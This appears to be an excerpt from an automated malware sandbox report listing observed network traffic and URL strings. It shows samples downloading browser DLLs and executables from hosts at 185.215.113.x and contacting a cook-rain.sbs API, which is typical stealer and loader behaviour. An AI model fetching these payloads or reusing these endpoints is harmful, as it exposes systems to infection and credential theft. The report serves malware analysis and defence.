Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache

Source: 000003.log5.9.dr	String found in binary or memory: "www.facebook.com": "{\"Tier1\": [1103, 6061], \"Tier2\": [5445, 1780, 8220]}", equals www.facebook.com (Facebook)
Source: 000003.log5.9.dr	String found in binary or memory: "www.linkedin.com": "{\"Tier1\": [1103, 214, 6061], \"Tier2\": [2771, 9515, 1780, 1303, 1099, 6081, 5581, 9396]}", equals www.linkedin.com (Linkedin)
Source: 000003.log5.9.dr	String found in binary or memory: "www.youtube.com": "{\"Tier1\": [983, 6061, 1103], \"Tier2\": [2413, 8118, 1720, 5007]}", equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: deff.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: cook-rain.sbs

Source: unknown

HTTP traffic detected: POST /log?format=json&hasfast=true HTTP/1.1Host: play.google.comConnection: keep-aliveContent-Length: 913sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencoded;charset=UTF-8Accept: */*Origin: chrome-untrusted://new-tab-pageX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: skotes.exe, 0000001A.00000002.3478163595.00000000016B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe
Source: skotes.exe, 0000001A.00000002.3478163595.00000000016B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe61395dd
Source: skotes.exe, 0000001A.00000002.3478163595.00000000016B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exec61395d7
Source: file.exe, 00000001.00000002.2639827168.000000000170A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2639827168.00000000016E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: file.exe, 00000001.00000002.2639827168.00000000016E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exeX
Source: skotes.exe, 0000001A.00000002.3478163595.00000000016CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: skotes.exe, 0000001A.00000002.3478163595.00000000016CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exex
Source: file.exe, 00000001.00000002.2639827168.000000000168E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2638559950.0000000000235000.00000040.00000001.01000000.00000003.sdmp, 43f0b859c6.exe, 0000001C.00000002.3474702465.00000000014EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000001.00000002.2639827168.00000000016E8000.00000004.00000020.00020000.00000000.sdmp, 43f0b859c6.exe, 0000001C.00000002.3474702465.0000000001533000.00000004.00000020.00020000.00000000.sdmp, 43f0b859c6.exe, 0000001C.00000002.3474702465.000000000154D000.00000004.00000020.00020000.00000000.sdmp, 43f0b859c6.exe, 0000001C.00000002.3474702465.00000000014EE000.00000004.00000020.00020000.00000000.sdmp, 43f0b859c6.exe, 0000001C.00000002.3474702465.0000000001546000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000001.00000002.2639827168.00000000016E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: file.exe, 00000001.00000002.2639827168.00000000016E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: file.exe, 00000001.00000002.2639827168.00000000016E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dllj
Source: file.exe, 00000001.00000002.2639827168.00000000016E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
Source: file.exe, 00000001.00000002.2639827168.00000000016E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dllR
Source: file.exe, 00000001.00000002.2639827168.00000000016E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: file.exe, 00000001.00000002.2639827168.00000000016E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dllv
Source: file.exe, 00000001.00000002.2639827168.00000000016E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: file.exe, 00000001.00000002.2639827168.00000000016E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: file.exe, 00000001.00000002.2639827168.00000000016E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dllx
Source: file.exe, 00000001.00000002.2639827168.00000000016E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: file.exe, 00000001.00000002.2639827168.00000000016E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dllO
Source: 43f0b859c6.exe, 0000001C.00000002.3474702465.000000000154D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/C:
Source: file.exe, 00000001.00000002.2666532282.0000000023AD0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2638559950.0000000000235000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: file.exe, 00000001.00000002.2639827168.00000000016E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php.y
Source: file.exe, 00000001.00000002.2666532282.0000000023AD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php2
Source: file.exe, 00000001.00000002.2639827168.00000000016E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpfy
Source: file.exe, 00000001.00000002.2638559950.0000000000235000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpion:
Source: file.exe, 00000001.00000002.2639827168.00000000016E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php~y
Source: 43f0b859c6.exe, 0000001C.00000002.3474702465.00000000014EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206U
Source: file.exe, 00000001.00000002.2638559950.0000000000235000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206ngineer
Source: skotes.exe, 0000001A.00000002.3478163595.0000000001698000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: chromecache_450.5.dr	String found in binary or memory: http://www.broofa.com
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, file.exe, 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000001.00000002.2663772590.000000001D95E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2670946030.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: 029a46b374.exe, 0000001B.00000003.3449202665.0000000005559000.00000004.00000800.00020000.00000000.sdmp, 029a46b374.exe, 0000001B.00000003.3449082697.0000000005571000.00000004.00000800.00020000.00000000.sdmp, KFCFBAAE.1.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_450.5.dr	String found in binary or memory: https://apis.google.com
Source: f65874b2-aec3-4815-9b5d-d39871daeb01.tmp.10.dr	String found in binary or memory: https://assets.msn.com
Source: file.exe, 00000001.00000002.2666532282.0000000023AC2000.00000004.00000020.00020000.00000000.sdmp, CFHCBKKFIJJJECAAFCGI.1.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: file.exe, 00000001.00000002.2666532282.0000000023AC2000.00000004.00000020.00020000.00000000.sdmp, CFHCBKKFIJJJECAAFCGI.1.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: 029a46b374.exe, 0000001B.00000003.3449202665.0000000005559000.00000004.00000800.00020000.00000000.sdmp, 029a46b374.exe, 0000001B.00000003.3449082697.0000000005571000.00000004.00000800.00020000.00000000.sdmp, KFCFBAAE.1.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000001.00000003.2468178197.0000000023A6D000.00000004.00000020.00020000.00000000.sdmp, 029a46b374.exe, 0000001B.00000003.3465606498.0000000005589000.00000004.00000800.00020000.00000000.sdmp, 029a46b374.exe, 0000001B.00000003.3465179314.0000000005591000.00000004.00000800.00020000.00000000.sdmp, 029a46b374.exe, 0000001B.00000003.3449202665.0000000005559000.00000004.00000800.00020000.00000000.sdmp, 029a46b374.exe, 0000001B.00000003.3449082697.0000000005571000.00000004.00000800.00020000.00000000.sdmp, KFCFBAAE.1.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000001.00000003.2468178197.0000000023A6D000.00000004.00000020.00020000.00000000.sdmp, 029a46b374.exe, 0000001B.00000003.3465606498.0000000005589000.00000004.00000800.00020000.00000000.sdmp, 029a46b374.exe, 0000001B.00000003.3465179314.0000000005591000.00000004.00000800.00020000.00000000.sdmp, 029a46b374.exe, 0000001B.00000003.3449202665.0000000005559000.00000004.00000800.00020000.00000000.sdmp, 029a46b374.exe, 0000001B.00000003.3449082697.0000000005571000.00000004.00000800.00020000.00000000.sdmp, KFCFBAAE.1.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: manifest.json0.9.dr	String found in binary or memory: https://chrome.google.com/webstore/
Source: manifest.json0.9.dr	String found in binary or memory: https://chromewebstore.google.com/
Source: 6b956c39-9457-4965-889c-e715a21f740c.tmp.10.dr, f65874b2-aec3-4815-9b5d-d39871daeb01.tmp.10.dr	String found in binary or memory: https://clients2.google.com
Source: manifest.json.9.dr	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: 6b956c39-9457-4965-889c-e715a21f740c.tmp.10.dr, f65874b2-aec3-4815-9b5d-d39871daeb01.tmp.10.dr	String found in binary or memory: https://clients2.googleusercontent.com
Source: file.exe, 00000001.00000002.2666532282.0000000023AC2000.00000004.00000020.00020000.00000000.sdmp, CFHCBKKFIJJJECAAFCGI.1.dr	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: file.exe, 00000001.00000002.2666532282.0000000023AC2000.00000004.00000020.00020000.00000000.sdmp, CFHCBKKFIJJJECAAFCGI.1.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: 029a46b374.exe, 0000001B.00000003.3463567960.00000000008ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/
Source: 029a46b374.exe, 0000001B.00000003.3463145469.00000000008E7000.00000004.00000020.00020000.00000000.sdmp, 029a46b374.exe, 0000001B.00000003.3463494156.00000000008EA000.00000004.00000020.00020000.00000000.sdmp, 029a46b374.exe, 0000001B.00000003.3463567960.00000000008ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/0
Source: 029a46b374.exe, 0000001B.00000003.3463145469.00000000008E7000.00000004.00000020.00020000.00000000.sdmp, 029a46b374.exe, 0000001B.00000003.3463494156.00000000008EA000.00000004.00000020.00020000.00000000.sdmp, 029a46b374.exe, 0000001B.00000003.3463567960.00000000008ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/G
Source: 029a46b374.exe, 0000001B.00000003.3463145469.00000000008E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/W
Source: 029a46b374.exe, 0000001B.00000002.3470889263.00000000008E8000.00000004.00000020.00020000.00000000.sdmp, 029a46b374.exe, 0000001B.00000003.3463494156.00000000008EA000.00000004.00000020.00020000.00000000.sdmp, 029a46b374.exe, 0000001B.00000003.3469262980.00000000008E9000.00000004.00000020.00020000.00000000.sdmp, 029a46b374.exe, 0000001B.00000002.3470889263.0000000000878000.00000004.00000020.00020000.00000000.sdmp, 029a46b374.exe, 0000001B.00000003.3469317199.00000000008ED000.00000004.00000020.00020000.00000000.sdmp, 029a46b374.exe, 0000001B.00000003.3463567960.00000000008ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/api
Source: 029a46b374.exe, 0000001B.00000002.3470889263.00000000008E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/apiA=
Source: 029a46b374.exe, 0000001B.00000002.3470889263.0000000000859000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/apiVK
Source: 029a46b374.exe, 0000001B.00000002.3470889263.00000000008E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/apib
Source: 029a46b374.exe, 0000001B.00000002.3470889263.00000000008DD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs:443/api
Source: 029a46b374.exe, 0000001B.00000003.3463145469.00000000008E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs:443/apiontent-Encodingtext/html;
Source: manifest.json.9.dr	String found in binary or memory: https://docs.google.com/
Source: manifest.json.9.dr	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: manifest.json.9.dr	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: manifest.json.9.dr	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: manifest.json.9.dr	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: manifest.json.9.dr	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: manifest.json.9.dr	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: manifest.json.9.dr	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: manifest.json.9.dr	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: manifest.json.9.dr	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: manifest.json.9.dr	String found in binary or memory: https://drive-staging.corp.google.com/
Source: manifest.json.9.dr	String found in binary or memory: https://drive.google.com/
Source: file.exe, 00000001.00000003.2468178197.0000000023A6D000.00000004.00000020.00020000.00000000.sdmp, 029a46b374.exe, 0000001B.00000003.3465606498.0000000005589000.00000004.00000800.00020000.00000000.sdmp, 029a46b374.exe, 0000001B.00000003.3465179314.0000000005591000.00000004.00000800.00020000.00000000.sdmp, 029a46b374.exe, 0000001B.00000003.3449202665.0000000005559000.00000004.00000800.00020000.00000000.sdmp, 029a46b374.exe, 0000001B.00000003.3449082697.0000000005571000.00000004.00000800.00020000.00000000.sdmp, KFCFBAAE.1.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000001.00000003.2468178197.0000000023A6D000.00000004.00000020.00020000.00000000.sdmp, 029a46b374.exe, 0000001B.00000003.3465606498.0000000005589000.00000004.00000800.00020000.00000000.sdmp, 029a46b374.exe, 0000001B.00000003.3465179314.0000000005591000.00000004.00000800.00020000.00000000.sdmp, 029a46b374.exe, 0000001B.00000003.3449202665.0000000005559000.00000004.00000800.00020000.00000000.sdmp, 029a46b374.exe, 0000001B.00000003.3449082697.0000000005571000.00000004.00000800.00020000.00000000.sdmp, KFCFBAAE.1.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000001.00000003.2468178197.0000000023A6D000.00000004.00000020.00020000.00000000.sdmp, 029a46b374.exe, 0000001B.00000003.3465606498.0000000005589000.00000004.00000800.00020000.00000000.sdmp, 029a46b374.exe, 0000001B.00000003.3465179314.0000000005591000.00000004.00000800.00020000.00000000.sdmp, 029a46b374.exe, 0000001B.00000003.3449202665.0000000005559000.00000004.00000800.00020000.00000000.sdmp, 029a46b374.exe, 0000001B.00000003.3449082697.0000000005571000.00000004.00000800.00020000.00000000.sdmp, KFCFBAAE.1.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: f65874b2-aec3-4815-9b5d-d39871daeb01.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net
Source: 000003.log5.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/addressbar_uu_files.en-gb/1.0.2/asset?sv=2017-07-29&sr
Source: 000003.log5.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?assetgroup=Arbit
Source: 000003.log5.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr
Source: 000003.log4.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtrac
Source: HubApps Icons.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_light.png/1.7.32/asset
Source: HubApps Icons.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/as
Source: HubApps Icons.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset
Source: HubApps Icons.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset
Source: 000003.log5.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Sho
Source: HubApps Icons.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_light.png/1.9.10/asset
Source: HubApps Icons.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset
Source: HubApps Icons.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset
Source: HubApps Icons.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset
Source: 000003.log5.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/signal_triggers/1.13.3/asset?sv=2017-07-29&sr=c&sig=Nt
Source: chromecache_450.5.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey200-36dp/2x/gm_alert_gm_grey200_3
Source: chromecache_450.5.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey600-36dp/2x/gm_alert_gm_grey600_3
Source: chromecache_450.5.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey200-24dp/1x/gm_close_gm_grey200_2
Source: chromecache_450.5.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey600-24dp/1x/gm_close_gm_grey600_2
Source: CFHCBKKFIJJJECAAFCGI.1.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: https://mozilla.org0/
Source: 029a46b374.exe, 0000001B.00000003.3469053570.0000000005545000.00000004.00000800.00020000.00000000.sdmp, 029a46b374.exe, 0000001B.00000003.3468699222.0000000005542000.00000004.00000800.00020000.00000000.sdmp, 029a46b374.exe, 0000001B.00000003.3468202357.000000000555F000.00000004.00000800.00020000.00000000.sdmp, Cookies.10.dr	String found in binary or memory: https://msn.comXID/
Source: 029a46b374.exe, 0000001B.00000003.3469053570.0000000005545000.00000004.00000800.00020000.00000000.sdmp, 029a46b374.exe, 0000001B.00000003.3468699222.0000000005542000.00000004.00000800.00020000.00000000.sdmp, 029a46b374.exe, 0000001B.00000003.3468202357.000000000555F000.00000004.00000800.00020000.00000000.sdmp, Cookies.10.dr	String found in binary or memory: https://msn.comXIDv10
Source: 000003.log7.9.dr	String found in binary or memory: https://ntp.msn.com/
Source: 000003.log7.9.dr	String found in binary or memory: https://ntp.msn.com/0
Source: 000003.log7.9.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp
Source: 000003.log7.9.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=288
Source: Session_13376308052217501.9.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&start
Source: chromecache_450.5.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: file.exe, 00000001.00000002.2638559950.00000000002E7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: file.exe, 00000001.00000003.2533999033.0000000023BDF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	String found in binary or memory: https://unitedstates1.ss.wd.microsoft.us/
